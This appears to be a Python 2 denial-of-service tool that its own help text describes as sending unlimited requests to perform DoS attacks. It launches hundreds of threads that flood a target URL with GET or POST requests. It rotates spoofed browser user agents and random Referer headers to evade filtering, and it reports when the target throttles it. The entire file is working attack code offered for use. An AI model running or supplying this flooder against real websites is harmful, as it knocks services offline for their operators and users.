import requests
import sys
import threading
import random
import re
import argparse
 
host=''
headers_useragents=[]
request_counter=0
printedMsgs = []
 
def printMsg(msg):
    if msg not in printedMsgs:
        print "\n"+msg + " after %i requests" % request_counter
    printedMsgs.append(msg)
 
def useragent_list():
    global headers_useragents
    headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
    headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
    return(headers_useragents)
     
def randomString(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 90)
        out_str += chr(a)
    return(out_str)
 
def initHeaders():
    useragent_list()
    global headers_useragents, additionalHeaders
    headers = {
                'User-Agent': random.choice(headers_useragents),
                'Cache-Control': 'no-cache',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Referer': "http://www.google.com/?q=" + randomString(random.randint(5,10)),
                'Keep-Alive': random.randint(110,120),
                'Connection': 'keep-alive'
                }
 
    if additionalHeaders:
        for header in additionalHeaders:
            headers.update({header.split(":")[0]:header.split(":")[1]})
    return headers
 
def handleStatusCodes(status_code):
    global request_counter
    sys.stdout.write("\rNumber of requests sent %i" % request_counter)
    sys.stdout.flush()
    if status_code == 429:
            printMsg("You have been throttled")
    if status_code == 500:
        printedMsg("Status code 500 received")
 
def sendGET(url):
    global request_counter
    headers = initHeaders()
    try:
        request_counter+=1
        request = requests.get(url, headers=headers)
        handleStatusCodes(request.status_code)
 
    except e:
        pass
 
def sendPOST(url, payload):
    global request_counter
    headers = initHeaders()
    try:
        request_counter+=1
        if payload:
            request = requests.post(url, data=payload, headers=headers)
        else:
            request = requests.post(url, headers=headers)
        handleStatusCodes(request.status_code)
         
    except e:
        pass
 
class SendGETThread(threading.Thread):
    def run(self):
        try:
            while True:
                global url
                sendGET(url)
        except:
            pass
 
class SendPOSTThread(threading.Thread):
    def run(self):
        try:
            while True:
                global url, payload
                sendPOST(url, payload)
        except:
            pass
 
 
# TODO:
# check if the site stop responding and alert
 
def main(argv):
    parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
    parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
    parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
    parser.add_argument('-d', help='Specify data payload for POST request', default=None)
    parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
    parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
    args = parser.parse_args()
 
    global url, payload, additionalHeaders
    additionalHeaders = args.ah
    payload = args.d
 
    if args.g:
        url = args.g
        for i in range(args.t):
            t = SendGETThread()
            t.start()
 
    if args.p:
        url = args.p
        for i in range(args.t):
            t = SendPOSTThread()
            t.start()
     
    if len(sys.argv)==1:
        parser.print_help()
        exit()
     
if __name__ == "__main__":
   main(sys.argv[1:])